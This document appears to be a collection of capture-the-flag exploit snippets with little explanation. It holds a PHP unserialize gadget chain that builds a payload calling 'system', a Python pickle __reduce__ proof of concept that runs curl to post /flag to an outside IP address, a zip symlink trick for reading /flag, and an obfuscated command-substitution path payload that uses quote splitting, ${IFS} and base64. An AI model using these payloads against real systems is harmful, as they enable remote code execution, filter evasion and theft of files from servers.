<?php

highlight_file(__FILE__);
class Fun{
    public $func = 'call_user_func_array';
    public function __call($f,$p){
        var_dump($f);
        var_dump($p);
        call_user_func($this->func,$f,$p);
    }
}

class Test{
    public function __call($f,$p){
        echo getenv("FLAG");
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A {
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B {
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
/*
if(isset($_REQUEST['begin'])){
    unserialize($_REQUEST['begin']);
}*/

$payload = new B();
$payload->a = new A();
$payload->p = 'env';
$payload->a->a = new Fun();
$payload->a->a->func = 'system';
$ans = serialize($payload);
echo $ans;
?>

import base64
import pickle
import urllib
class genpoc(object):
    def __reduce__(self):
        cmd = 'curl -d @/flag 124.221.19.214:2333'  # 要执行的命令
        s = "__import__('os').popen('{}').read()".format(cmd)
        return (eval, (s,))  # reduce函数必须返回元组或字符串

poc = pickle.dumps(genpoc())
print(base64.b64encode(poc))

ln -s /flag flag
zip --symlinks flag.zip flag

/public/`'ec''ho'${IFS}'L19mbGFn'|'ba''se64'${IFS}-d`